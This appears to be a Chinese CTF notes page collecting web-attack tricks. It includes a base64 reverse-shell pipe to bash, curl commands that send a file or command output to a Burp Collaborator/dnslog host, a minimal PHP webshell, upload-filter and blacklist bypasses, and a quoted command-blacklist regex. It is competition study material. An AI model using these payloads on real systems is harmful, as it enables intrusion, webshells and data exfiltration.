base64反弹shell
这里记录一个之前很常用但都没记录过的典中典payload
echo YOUR_REVERSE_SHELL_PAYLOAD | base64 -d | bash
curl外带
偶尔会碰到能够执行但没有echo回显的情况,此时就可以用curl外带,例如
curl `命令`.域名
这里的域名到dnslog获取。此外,还可以通过curl主动向我们发送一个POST,并携带我们需要的内容,这里以Burp的Collaborator Client为例
curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net
-X
指定发送一个POST请求,-F
指定要发送的文件。xx是post包的参数,可以自定义。@
是必须要带的,后面接文件名(也可以是绝对路径)
最短的一句话木马
如果上传处存在长度限制就可以用(非常极限的情况= =)
<?=`nc /*`;
常用图片文件头
如果找不到jpg和png的时候可以用
bmp文件 BM
gif文件 GIF
php后缀名绕过黑名单
pht, phpt, phtml, php3,php4,php5,php6
带数字的后缀不一定能用,就算版本对应,首选pht
ffifdyop
一段很神奇的字符串
短标签
当<?php
被过滤时,可以使用诸如<?=
、<% %>
、<script language ="php">
的短标签进行替代
联合查询
在使用联合查询时,最后一个符号可以使用闭合,不一定要注释
图片高宽设置
当在上传木马时,如果题目对图片高宽有要求,就可以使用
#define height 1
#define width 1
来设置图片高宽,且可以代替图片文件头(反而此时如果写了GIF89a,还会出现不让过的情况)
fast destruct
简单说明一下
也就是说,当出现下面这样的代码时
执行完反序化后析构函数并不会执行。这种情况下,要想让析构函数在反序化后就被执行,唯一的办法就是让序列化的内容产生错误,导致反序化报错,就会使对象被提前销毁,从而达到提前反序化结束的效果。可以看这篇博客
分号绕过
一直没记录的一种经典绕过方式,可以用在绝大部分被过滤的指令和字符串(仅限在shell中可用,php中不可用)
例如
/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i
要使用ls时,就可以用l’‘s替代